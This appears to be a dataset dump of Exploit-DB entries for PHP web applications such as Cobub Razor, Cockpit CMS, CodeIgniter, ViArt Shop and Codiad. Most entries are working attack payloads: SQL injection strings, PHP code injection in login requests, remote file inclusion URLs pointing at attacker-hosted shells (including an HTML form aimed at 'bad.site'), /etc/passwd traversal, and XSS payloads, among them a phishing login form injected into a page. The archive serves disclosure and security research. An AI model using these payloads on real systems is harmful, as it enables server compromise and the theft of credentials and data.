deardaniel/secdata-raw huggingface dataset:
Exploit-DB #44454
Description: Cobub Razor 0.8.0 - SQL injection
Type: webapps
Platform: php
Date: 2018-04-16
Author: Kyhvedn

Exploit:
# Exploit Title:  Cobub Razor 0.8.0 SQL injection Vulnerability
# Date: 2018-04-16
# Exploit Author: Kyhvedn（yinfengwuyueyi@163.com、kyhvedn@5ecurity.cn）
# Vendor Homepage: http://www.cobub.com/
# Software Link: https://github.com/cobub/razor
# Version: 0.8.0
# CVE : CVE-2018-8057
 


The string of the 'channel_name' and 'platform' parameter transmission is completely without check and filter,so if the string is passed, it will lead to the existence of SQL injection vulnerability,This could result in full information disclosure.


Code source:
/application/controllers/manage/channel.php at line 75-95


The SQL injection type: error-based and AND/OR time-based blind
Parameter: channel_name,platform


PoC:


http://localhost/index.php?/manage/channel/addchannel
POST data:
1.channel_name=test" AND (SELECT 1700 FROM(SELECT COUNT(*),CONCAT(0x7171706b71,(SELECT (ELT(1700=1700,1))),0x71786a7671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- JQon&platform=1
2.channel_name=test" AND SLEEP(5)-- NklJ&platform=1
Exploit-DB #49390
Description: Cockpit CMS 0.6.1 - Remote Code Execution
Type: webapps
Platform: php
Date: 2021-01-07
Author: Rafael Resende

Exploit:
# Cockpit CMS 0.6.1 - Remote Code Execution
# Product: Cockpit CMS (https://getcockpit.com)
# Version: Cockpit CMS < 0.6.1
# Vulnerability Type: PHP Code Execution
# Exploit Author: Rafael Resende
# Attack Type: Remote
# Vulnerability Description
# Cockpit before 0.6.1 allows an attacker to inject custom PHP code and achieve Remote Command Execution via registerCriteriaFunction in lib/MongoLite/Database.php. Disclosed 2020-01-06.

# Exploit Login
  POST /auth/check HTTP/1.1
  Host: example.com
  User-Agent: Mozilla/5.0
  Content-Type: application/json; charset=UTF-8
  Content-Length: 52
  Origin: https://example.com

  {"auth":{"user":"test'.phpinfo().'","password":"b"}}

# Exploit Password reset
  POST /auth/requestreset HTTP/1.1
  Host: example.com
  User-Agent: Mozilla/5.0
  Content-Type: application/json; charset=UTF-8
  Content-Length: 28
  Origin: https://example.com

  {"user":"test'.phpinfo().'"}

## Impact
Allows attackers to execute malicious codes to get access to the server.

## Fix
Update to versions >= 0.6.1
Exploit-DB #3251
Description: CoD2: DreamStats 4.2 - 'index.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-02-02
Author: ThE dE@Th

Exploit:
ConTact Me:-wWw.Asb-May.Net
ScRiPt:-http://callofduty.filefront.com/file/DreamStats_System;54520
Discovered By:- ThE dE@Th <<{AsB-MaY DiScOvEr ExPlIoTs TeAm}>>
******************************************************************************
index.php:-
if (!$slots) {include($rootpath . 'html/serveroffline.php');exit;}
********************************************************************************
ExPlOiT:-http://www.Site.com/PaTh/index.php?rootpath=[Shell]
********************************************************************************

# milw0rm.com [2007-02-02]
Exploit-DB #52159
Description: CodeAstro Online Railway Reservation System 1.0 - Cross Site Scripting (XSS)
Type: webapps
Platform: php
Date: 2025-04-10
Author: Raj Nandi

Exploit:
# Exploit Title: CodeAstro Online Railway Reservation System 1.0 - Cross Site Scripting (XSS)
# Date: 2024-08-15
# Exploit Author: Raj Nandi
# Vendor Homepage: https://codeastro.com/
# Software Link:
https://codeastro.com/online-railway-reservation-system-in-php-with-source-code/
# Version: 1.0
# Tested on: Any OS
# CVE: CVE-2024-7815

## Description:
A Cross-Site Scripting (XSS) vulnerability exists in [Application
Name/Version]. This vulnerability allows an attacker to inject and execute
arbitrary JavaScript code within the context of the user's browser session.

## Proof of Concept (PoC):
1. Navigate to [vulnerable page or input field].
2. Input the following payload: `<script>alert(document.cookie)</script>`
3. Upon execution, the script will trigger and display the user's cookies
in an alert box.

## Mitigation:
To prevent this vulnerability, ensure that all user inputs are properly
sanitized and validated before being reflected back on the webpage.
Exploit-DB #3599
Description: CodeBB 1.0 Beta 2 - 'phpbb_root_path' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-03-28
Author: Alkomandoz Hacker

Exploit:
# codebb 1.1b3  (phpbb_root_path )Remote File Include Vulnerability

# D.Script: http://rd.cycnus.de/download/codebb-1.1b3.tar.bz2

# Discovered by: Alkomandoz Hacker

# Homepage: http://www.asb-may.net
# V.Code

# include_once($phpbb_root_path . 'includes/codebb/config.'.$phpEx);

require($phpbb_root_path . 'includes/codebb/scanners/scannerlist.'.$phpEx);



# Exploit:[Path]/codebb/pass_code.php?phpbb_root_path=SheLL

    [Path]/codebb/lang_select?phpbb_root_path=SheLL


# Greetz To: A-s-T Team & AsbMay's Group & KaBaRa & Mahmood_Ali & ThE-DE@TH & ToOoFa

# Thanx: asb-may.net & TrYaG.CoM

# milw0rm.com [2007-03-28]
Exploit-DB #3711
Description: CodeBreak 1.1.2 - 'codebreak.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-04-11
Author: John Martinelli

Exploit:
<!--

CodeBreak (codebreak.php process_method) - Remote File Inclusion Vulnerability

Google d0rk: intitle:"CodeBreak - Hidden Morse Code"

Vulnerable Code: include($_POST["process_method"] . "_" . $_POST["output_method"] . ".inc");

John Martinelli
john@martinelli.com
http://john-martinelli.com

April 11th, 2007

!-->

<html>
<head><title>CodeBreak (codebreak.php process_method) - Remote File Inclusion Vulnerability</title><body>

<center><br><br><font size=4>CodeBreak (codebreak.php process_method) - Remote File Inclusion Vulnerability</font><br><font size=3>discovered by <a href="http://john-martinelli.com">John Martinelli</a><br><br>Google d0rk: <a href="http://www.google.com/search?q=intitle%3A%22CodeBreak+-+Hidden+Morse+Code">intitle:"CodeBreak - Hidden Morse Code"</a></font><br>

<br><br>
<form action="http://www.target.com/codebreak.php" method="post">
<input name="input_text" size=75 value="input_text" type=hidden>
<input name="process_method" size=75 value="http://bad.site/badcode.txt?">
<input type=submit value="Execute RFI Attack" class="button">
</form>

</body></html>

# milw0rm.com [2007-04-11]
Exploit-DB #41550
Description: Codecanyon Clone Script - SQL Injection
Type: webapps
Platform: php
Date: 2017-03-08
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Codecanyon Clone Script - SQL Injection
# Google Dork: N/A
# Date: 08.03.2017
# Vendor Homepage: http://bsetec.com/
# Software : http://codecanyonclone.bsetec.com/
# Demo: http://www.bsetecdemo.com/codecanyonclone/
# Version: N/A
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/LastAdded/?by=[SQL]
# # # # #
Exploit-DB #6071
Description: CodeDB 1.1.1 - 'list.php' Local File Inclusion
Type: webapps
Platform: php
Date: 2008-07-14
Author: cOndemned

Exploit:
###############################################################################
#
#   Name    :   CodeDB (list.php lang) Local File Inclusion Vulnerability
#   Author  :   cOndemned
#   Greetz  :   ZaBeaTy, str0ke, irk4z, GregStar, doctor, Adish, Avantura ;*
#
###############################################################################

Source :

    // list.php
    
    2.  $lang = htmlspecialchars($_GET['lang']);            // ok, but.... for what ? lol
    
    7.  if(file_exists('templates/'.$lang.'_middle.php'))   // We'll have to cut off rest of filename & extension
	8.      include('templates/'.$lang.'_middle.php');      // Ekhm... pwned ;d
    
    
Proof of Concept :

    http://[host]/[codeDB_path]/list.php?lang=../readme.txt%00
    http://[host]/[codeDB_path]/list.php?lang=../../../../etc/passwd%00
    http://[host]/[codeDB_path]/list.php?lang=../[local_file]%00

    
EoF.   

# milw0rm.com [2008-07-14]
Exploit-DB #26505
Description: Codegrrl - 'Protection.php' Code Execution
Type: webapps
Platform: php
Date: 2005-11-14
Author: Robin Verton

Exploit:
source: https://www.securityfocus.com/bid/15417/info

Unspecified Codegrrl applications are prone to a remote arbitrary code execution vulnerability. This is due to a lack of proper sanitization of user-supplied input.

An attacker can exploit this to execute arbitrary code in the context of the Web server process. This may facilitate a compromise of the system; other attacks are also possible. 

http://www.example.com/protection.php?action=logout&siteurl=http://www.example.com/malicoius-code.txt
Exploit-DB #33751
Description: CodeIgniter 1.0 - 'BASEPATH' Multiple Remote File Inclusions
Type: webapps
Platform: php
Date: 2010-03-11
Author: eidelweiss

Exploit:
source: https://www.securityfocus.com/bid/38672/info

CodeIgniter is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues may allow an attacker to compromise the application and the computer; other attacks are also possible.

CodeIgniter 1.0 is vulnerable; other versions may also be affected.

http://www.example.com/system/database/DB_active_rec.php?BASEPATH=[Shell.txt?]
http://www.example.com/system/database/DB_driver.php?BASEPATH=[Shell.txt?]
Exploit-DB #37521
Description: CodeIgniter 2.1 - 'xss_clean()' Filter Security Bypass
Type: webapps
Platform: php
Date: 2012-07-19
Author: Krzysztof Kotowicz

Exploit:
source: https://www.securityfocus.com/bid/54620/info

CodeIgniter is prone to a security-bypass vulnerability.

An attacker can exploit this issue to bypass XSS filter protections and perform cross-site scripting attacks.

CodeIgniter versions prior to 2.1.2 are vulnerable. 

Build an application on CodeIgniter 2.1.0:

// application/controllers/xssdemo.php
<?php if ( ! defined('BASEPATH')) exit('No direct script access allowed');

class Xssdemo extends CI_Controller {

        public function index() {
            $data['xss'] =
$this->security->xss_clean($this->input->post('xss'));
            $this->load->view('xssdemo', $data);
        }
}

// application/views/xssdemo.php
<form method=post>
                <textarea name=xss><?php echo htmlspecialchars($xss);
?>&lt;/textarea&gt;
                <input type=submit />
                </form>
        <p>XSS:
        <hr />
    <?php echo $xss ?>

Launch http://app-uri/index.php/xssdemo and try above vectors.
Exploit-DB #41305
Description: CodePaul ClipMass - SQL Injection
Type: webapps
Platform: php
Date: 2017-02-10
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: CodePaul ClipMass - Video Portal Site - SQL Injection
# Google Dork: N/A
# Date: 10.02.2017
# Vendor Homepage: http://codepaul.com/
# Software Buy: https://codecanyon.net/item/codepaul-clipmass-video-portal-site/14681505
# Demo: http://codepaul.com/clipmass/
# Version: N/A
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/search?keyword=[SQL]
# # # # #
Exploit-DB #25637
Description: CodeThatShoppingCart 1.3.1 - 'catalog.php?id' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-05-09
Author: Lostmon

Exploit:
source: https://www.securityfocus.com/bid/13560/info

CodeThatShoppingCart is reportedly affected by multiple input validation vulnerabilities. These issues may allow remote attackers to carry out cross-site scripting and SQL injection attacks. An attacker may also potentially disclose sensitive data.

CodeThatShoppingCart 1.3.1 was reported to be vulnerable. Other versions may be affected as well. 

http://www.example.com/codethat/catalog.php?action=category_show
&id=2"><script>alert(document.cookie)</script>
Exploit-DB #25638
Description: CodeThatShoppingCart 1.3.1 - 'catalog.php?id' SQL Injection
Type: webapps
Platform: php
Date: 2005-05-09
Author: Lostmon

Exploit:
source: https://www.securityfocus.com/bid/13560/info
 
CodeThatShoppingCart is reportedly affected by multiple input validation vulnerabilities. These issues may allow remote attackers to carry out cross-site scripting and SQL injection attacks. An attacker may also potentially disclose sensitive data.
 
CodeThatShoppingCart 1.3.1 was reported to be vulnerable. Other versions may be affected as well. 

http://www.example.com/shoppingcart/catalog.php?action=category_show
&id=1%20or%20like%20%60a%%60

http://www.example.com/shoppingcart/demo/catalog.php?action=
category_show&id=1%20or%201=1
Exploit-DB #25575
Description: CodetoSell ViArt Shop Enterprise 2.1.6 - 'basket.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2005-05-02
Author: Lostmon

Exploit:
source: https://www.securityfocus.com/bid/13462/info

ViArt Shop is affected by multiple cross-site scripting and HTML injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in dynamically generated content.

Attacker-supplied HTML and script code would be able to access properties of the site, potentially allowing for theft of cookie-based authentication credentials. An attacker could also exploit this issue to control how the site is rendered to the user; other attacks are also possible.

These issues are reported to affect ViArt Shop Enterprise version 2.1.6; other versions may also be vulnerable. 

http://www.example.com/basket.php?rp=products.php%3Fcategory_id%3D0[XSS-CODE]%26search_string%3Dss%26search_category_id%3D
http://www.example.com/basket.php?rp=products.php%3Fcategory_id%3D0%26search_string%3D[XSS-CODE]%26search_string%3Dss%26search_category_id%3D%26search_category_id%3D
http://www.example.com/basket.php?rp=products.php%3Fcategory_id%3D0%26search_string%3Dss%26search_string%3Dss%26search_category_id[XSS-CODE]%26search_category_id%3D
http://www.example.com/basket.php?rp=products.php%3Fcategory_id%3D0%26search_string%3Dss%26search_string%3Dss%26search_category_id%3D[XSS-CODE]%26search_category_id%3D
http://www.example.com/basket.php?rp=products.php%3Fcategory_id%3D0%26search_string%3Dss%26search_string%3Dss%26search_category_id%3D%26search_category_id%3D[XSS-CODE]
Exploit-DB #25580
Description: CodetoSell ViArt Shop Enterprise 2.1.6 - 'news_view.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2005-05-02
Author: Lostmon

Exploit:
source: https://www.securityfocus.com/bid/13462/info
     
ViArt Shop is affected by multiple cross-site scripting and HTML injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in dynamically generated content.
     
Attacker-supplied HTML and script code would be able to access properties of the site, potentially allowing for theft of cookie-based authentication credentials. An attacker could also exploit this issue to control how the site is rendered to the user; other attacks are also possible.
     
These issues are reported to affect ViArt Shop Enterprise version 2.1.6; other versions may also be vulnerable. 

http://www.example.com/news_view.php?news_id=3&rp=news.php[XSS-CODE]&page=1
http://www.example.com/news_view.php?news_id=3&rp=news.php&page=1[XSS-CODE]
Exploit-DB #25576
Description: CodetoSell ViArt Shop Enterprise 2.1.6 - 'page.php?page' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-05-02
Author: Lostmon

Exploit:
source: https://www.securityfocus.com/bid/13462/info
 
ViArt Shop is affected by multiple cross-site scripting and HTML injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in dynamically generated content.
 
Attacker-supplied HTML and script code would be able to access properties of the site, potentially allowing for theft of cookie-based authentication credentials. An attacker could also exploit this issue to control how the site is rendered to the user; other attacks are also possible.
 
These issues are reported to affect ViArt Shop Enterprise version 2.1.6; other versions may also be vulnerable. 

http://www.example.com/page.php?page=about%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
http://www.example.com/page.php?page=%3Cp%3Ean%20eror%20was%20send%20to%20webmaster,%20please%20insert%20your%20username%20and%20password%20,%20and%20continue%20shopping%20%3Cform%20action=%22http://www.example.com/save.php%22%20method=%22post%22%3EUsername:%3Cinput%20aame=%22username%22%20type=%22text%22%20maxlength=%2230%22%3E%3Cbr%3E[CREDENTIAL_REDACTED]=%22password%22%20type=%22text%22%20maxlength=%2230%22%3E%3Cbr%3E%3Cinput%20name=%22login%22%20type=%22submit%22%20value=%22Login%22%3E%3C/form%3E
Exploit-DB #25579
Description: CodetoSell ViArt Shop Enterprise 2.1.6 - 'products.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2005-05-02
Author: Lostmon

Exploit:
source: https://www.securityfocus.com/bid/13462/info
    
ViArt Shop is affected by multiple cross-site scripting and HTML injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in dynamically generated content.
    
Attacker-supplied HTML and script code would be able to access properties of the site, potentially allowing for theft of cookie-based authentication credentials. An attacker could also exploit this issue to control how the site is rendered to the user; other attacks are also possible.
    
These issues are reported to affect ViArt Shop Enterprise version 2.1.6; other versions may also be vulnerable. 

http://www.example.com/products.php?category_id=13[XSS-CODE]
http://www.example.com/products.php?category_id=0&search_string=[XSS-CODE]&search_category_id=
Exploit-DB #25578
Description: CodetoSell ViArt Shop Enterprise 2.1.6 - 'product_details.php?category_id' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-05-02
Author: Lostmon

Exploit:
source: https://www.securityfocus.com/bid/13462/info
   
ViArt Shop is affected by multiple cross-site scripting and HTML injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in dynamically generated content.
   
Attacker-supplied HTML and script code would be able to access properties of the site, potentially allowing for theft of cookie-based authentication credentials. An attacker could also exploit this issue to control how the site is rendered to the user; other attacks are also possible.
   
These issues are reported to affect ViArt Shop Enterprise version 2.1.6; other versions may also be vulnerable. 

http://www.example.com/product_details.php?item_id=4&category_id=0[XSS-CODE]
Exploit-DB #25577
Description: CodetoSell ViArt Shop Enterprise 2.1.6 - 'reviews.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2005-05-02
Author: Lostmon

Exploit:
source: https://www.securityfocus.com/bid/13462/info
  
ViArt Shop is affected by multiple cross-site scripting and HTML injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in dynamically generated content.
  
Attacker-supplied HTML and script code would be able to access properties of the site, potentially allowing for theft of cookie-based authentication credentials. An attacker could also exploit this issue to control how the site is rendered to the user; other attacks are also possible.
  
These issues are reported to affect ViArt Shop Enterprise version 2.1.6; other versions may also be vulnerable. 

http://www.example.com/reviews.php?category_id=0&item_id=4[XSS-CODE]
http://www.example.com/reviews.php?category_id=0[XSS-CODE]&item_id=4
http://www.example.com/reviews.php?filter=0&item_id=4[XSS-CODE]&category_id=0
Exploit-DB #3668
Description: CodeWand phpBrowse - 'site_path' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-04-05
Author: kezzap66345

Exploit:
PhpBrowse
*****************
Found by kezzap66345 *
*****************
Script:
http://www.codewand.org/download/phpBrowse.tar.gz
*****************
ERROR:
/include/include_stream.inc.php


include($include_path . "style.inc.php");     <<< rfi coded


**************************************************************************************
**************************************************************************************
**************************************************************************************
**************************************************************************************
**************************************************************************************
RFI:

http://SITE.com/path/include/include_stream.inc.php?include_path=[SHELL]

**************************************************************************************
**************************************************************************************
**************************************************************************************
**************************************************************************************
**************************************************************************************
kezzap66345[at]hotmail[dot]com

******thanx=x0r0n*str0ke*shika***Siircicocuk*******************************************

# milw0rm.com [2007-04-05]
Exploit-DB #35585
Description: Codiad 2.4.3 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2014-12-19
Author: TaurusOmar

Exploit:
               -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
                 INDEPENDENT SECURITY RESEARCHER 
                   PENETRATION TESTING SECURITY
               -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
 

# Exploit Title: Codiad 2.4.3 - Cross Site Scripting - Local File Inclusion Vulnerability's 
# Date: 19/12/2014
# Url Vendor: http://codiad.com/
# Vendor Name: Codiad
# Version: 2.4.3
# CVE:  CVE-2014-1137
# Author: TaurusOmar	
# Tiwtter: @TaurusOmar_
# Email:  taurusomar13@gmail.com
# Home:  overhat.blogspot.com
# Tested On: Bugtraq Optimus
# Risk: High

Description
Codiad is a web-based IDE framework with a small footprint and minimal requirements.
Codiad was built with simplicity in mind, allowing for fast, interactive development without the massive overhead of some of the larger desktop editors. That being said even users of IDE's such as Eclipse, NetBeans and Aptana are finding Codiad's simplicity to be a huge benefit. While simplicity was key, we didn't skimp on features and have a team of dedicated developer actively adding more.


------------------------
+ CROSS SITE SCRIPTING + 
------------------------
#Exploiting Description - Get into code xss in next path

/components/filemanager/dialog.php?action=rename&path=3&short_name=

#P0c
http://site.com/components/filemanager/dialog.php?action=rename&path=3&short_name='"><img src=x onerror=prompt(1);>

#Proof Concept
http://i.imgur.com/rr9b42K.jpg


------------------------
+  Local File Incluson +
------------------------
# Exploiting Description - Get into path in ur' browser and download private file server /etc/passwd 

#P0c
http://site.com/components/filemanager/download.php?path=../../../../../../../../../../../etc/passwd&type=undefined

#Proof Concept
http://i.imgur.com/LSm360S.jpg